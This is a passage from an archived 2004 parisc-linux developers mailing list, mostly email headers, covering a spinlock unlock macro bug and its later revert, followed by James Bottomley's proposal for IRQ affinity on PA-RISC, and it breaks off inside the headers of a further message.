	with ESMTP id 00848-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:06:37 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3FF833BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:06:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4F02229811C; Sun, 29 Aug 2004 22:06:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17767-06; Sun, 29 Aug 2004 22:06:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 56B90298059; Sun, 29 Aug 2004 22:06:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040829161318.GU2414@mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21911

On Sun, Aug 29, 2004 at 12:13:18PM -0400, Kyle McMartin wrote:
> On Sun, Aug 29, 2004 at 04:11:10PM +0000, Joel Soete wrote:
> > Sorry, but here I am confused: for parisc-linux unlock means (x)->lock = 1?
> > 
> Yes, because the only atomic instruction we have is load and clear.

I think you missed Joel's point.
Where does SPIN_UNLOCK set the register that it stores to 1?

grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Mon, 30 Aug 2004 00:14:19 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20040830041419.GA12022@mcmartin.ca>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
	<20040829161318.GU2414@mcmartin.ca>
	<20040830040635.GA18211@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623533 10846 80.91.229.3 (22 Nov 2014 02:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12938 invoked by uid 65534); 30 Aug 2004 04:15:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 30 Aug 2004 06:15:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 28B343BE77; Sun, 29 Aug 2004 22:14:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02797-04; Sun, 29 Aug 2004 22:14:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E033D3BE6C; Sun, 29 Aug 2004 22:14:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D6003BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:14:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02797-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:14:22 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id BE4ED3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:14:21 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 0DA8EEDC3; Mon, 30 Aug 2004 00:14:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040830040635.GA18211@colo.lackof.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21912

On Sun, Aug 29, 2004 at 10:06:35PM -0600, Grant Grundler wrote:
> I think you missed Joel's point.
> Where does SPIN_UNLOCK set the register that it stores to 1?
> 
Eh, that's what the "r" (...) does. As I understand it, GCC will have
the value inside the brackets loaded into a register (in this case,
%1 which can be any general register) when the execution path gets to
the assembler.

AIUI, the syntax is
asm(" /* assembler */ "
    : output
    : input
    : clobbers );

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 22:30:20 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20040830043020.GB18273@colo.lackof.org>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
	<20040829161318.GU2414@mcmartin.ca>
	<20040830040635.GA18211@colo.lackof.org>
	<20040830041419.GA12022@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623533 10849 80.91.229.3 (22 Nov 2014 02:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23477 invoked by uid 65534); 30 Aug 2004 04:30:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 30 Aug 2004 06:30:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 835243BE6C; Sun, 29 Aug 2004 22:30:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02811-08; Sun, 29 Aug 2004 22:30:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7B363BE75; Sun, 29 Aug 2004 22:30:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E2D03BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:30:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02811-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:30:22 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B26413BE58
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:30:21 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 10F3E29811C; Sun, 29 Aug 2004 22:30:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18481-02; Sun, 29 Aug 2004 22:30:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6D0F3298059; Sun, 29 Aug 2004 22:30:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040830041419.GA12022@mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21913

On Mon, Aug 30, 2004 at 12:14:19AM -0400, Kyle McMartin wrote:
> On Sun, Aug 29, 2004 at 10:06:35PM -0600, Grant Grundler wrote:
> > I think you missed Joel's point.
> > Where does SPIN_UNLOCK set the register that it stores to 1?
> > 
> Eh, that's what the "r" (...) does. As I understand it, GCC will have
> the value inside the brackets loaded into a register (in this case,
> %1 which can be any general register) when the execution path gets to
> the assembler.

Ah ok. But the original code you posted was this:
+#define SPIN_UNLOCK(x) do {  \
+                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
+                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
+                       } while (0)

which used '"r" (0)' for input.

The correct version got committed though:
#define SPIN_UNLOCK(x) do {  \
		__asm__ __volatile__ ("stw,ma %1,0(%0)" \ 	 
		: : "r" (&(x)->lock), "r" (1) : "memory"); \ 	 
	} while (0)

Sorry...but why did you back this change out in the next commit?

The comment "reverting unnecessary atomic.h changes" is correct.
Strictly speaking, coherent stores are not required.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Mon, 30 Aug 2004 00:37:32 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20040830043732.GB12022@mcmartin.ca>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
	<20040829161318.GU2414@mcmartin.ca>
	<20040830040635.GA18211@colo.lackof.org>
	<20040830041419.GA12022@mcmartin.ca>
	<20040830043020.GB18273@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623533 10851 80.91.229.3 (22 Nov 2014 02:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13970 invoked by uid 65534); 30 Aug 2004 04:37:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 30 Aug 2004 06:37:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9D3673BE80; Sun, 29 Aug 2004 22:37:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03112-05; Sun, 29 Aug 2004 22:37:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 49DD63BE7D; Sun, 29 Aug 2004 22:37:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 111233BE79
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:37:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03112-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:37:35 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id 3AF483BE75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:37:34 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id 2A9EEEDC3; Mon, 30 Aug 2004 00:37:33 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040830043020.GB18273@colo.lackof.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21914

On Sun, Aug 29, 2004 at 10:30:20PM -0600, Grant Grundler wrote:
> Ah ok. But the original code you posted was this:
> +#define SPIN_UNLOCK(x) do {  \
> +                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
> +                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
> +                       } while (0)
> 
This was what Randolph posted earlier in the thread, and I forgot to
spot the error. :\

> Sorry...but why did you back this change out in the next commit?
> 
> The comment "reverting unnecessary atomic.h changes" is correct.
> Strictly speaking, coherent stores are not required.
>
James pointed out that it wasn't necessary, and I wanted to keep changes
to a minimum for the next version of the 2.4.27 Debian packages that
Thibaut was creating.

Sorry for any confusion.

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposal for implementing IRQ affinity
Date: 30 Aug 2004 23:31:30 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <1093923097.3870.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623534 10854 80.91.229.3 (22 Nov 2014 02:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:14 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11650 invoked by uid 65534); 31 Aug 2004 03:33:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 31 Aug 2004 05:33:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 079803BDF6; Mon, 30 Aug 2004 21:32:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05795-02; Mon, 30 Aug 2004 21:32:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1FF373BDFD; Mon, 30 Aug 2004 21:31:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E8DB3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 21:31:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03453-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 21:31:49 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 39B0A3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 21:31:48 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id i7V3VgJ20504
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 23:31:44 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21915

IRQ affinity really only applies to SMP systems.  However, this proposal
will alter the interrupt layout even on UP systems, so if you care about
that sort of thing, read on. 

Introduction 
============ 

External interrupts on parisc processors are triggered by writing to the
memory mapped control register EIRR (cr23).  Since the mapping of the
EIRR into memory is per processor, and usually programmed into external
devices, the upshot is that each external device usually sents an
interrupt to a specific processor.  The implementation of IRQ affinity
would allow us to redesignate a given interrupt to go to a different CPU
(this would mean, for instance, that we could run the user daemon
irqbalanced to balance out all our interrupts among all the processors).

This arrangement means that parisc has 32 distinct interrupts for a 32
bit kernel and 64 on a 64 bit kernel. 

There is, however, a bus based complication: not all parisc busses allow
an arbitrary device to send and interrupt to a CPU directly.  In
general, the older bus controllers: dino, cujo, etc cannot do this, with
the result that processing interrupts in these busses is two-phase. 
When a device interrupts, the irq is fielded by the dino controller,
which has an interrupt register to interrogate the dino specific lines
and see which actual device interrupted and execute the appropriate irq
handling routine.  The newer iosapic interrupt controllers don't require
this because every device attached to the iosapic can be programmed
directly with a CPU EIRR address and bit number. 

The current parisc scheme involves IRQ regions.  Each region is tied to
a particular EIRR bit (CPU irq number) and also contains all the
interrupt designations for the older bus multiplexing as components of
the irq_region.  This is ideal for the older busses, but a bit wasteful
in the iosapic which doesn't need the intermediate interruption
information. 

The new proposal is to sweep away irq regions completely and instead use
the generic struct hw_interrupt_type from linux/irq.h 

The way this would work is that we'd designate a new cpu_irq array
statically for 32 or 64 of these structures (one per bit in the EIRR). 

The iosapic would be allowed simply to allocate a free one of these
(according to the usual IRQ sharing rules) for any device that needed an
interrupt. 

An older bus would allocate a single one, but would then register a
separate vector of interrupts (also a vector of struct
hw_interrupt_type) along with a callback to select the correct vector
for subsequent execution. 

The hw_interrupt_type structure contains an affinity setting callback
(set_affinity) which can be used to adjust the affinity either
internally or via the /proc interface.  We would expose only the CPU
interrupts (first 32 or 64) as capable of having altered affinity (the
remaining older bus interrupts, being effectively slaved to the affinity
of the corresponding CPU interrupts would have a NULL set_affinity
callback). 

This scheme should move us entirely over to the use of generic interrupt
descriptors and allow the affinity setting of those interrupts which are
susceptible to it (namely only the directly accessible EIRR interrupts).
Any comments before I actually try this?

James 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux signal race fixes,
	patches against hppa tree, please test.
Date: Tue, 31 Aug 2004 00:23:33 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200408310423.i7V4NXjb001644@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623534 10856 80.91.229.3 (22 Nov 2014 02:32:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:14 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28095 invoked by uid 65534); 31 Aug 2004 04:25:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 31 Aug 2004 06:25:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BE923BE05; Mon, 30 Aug 2004 22:24:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06158-04; Mon, 30 Aug 2004 22:24:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E1C263BDFD; Mon, 30 Aug 2004 22:23:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C4423BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 22:23:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05795-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 22:23:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9CD183BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Aug 2004 22:23:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
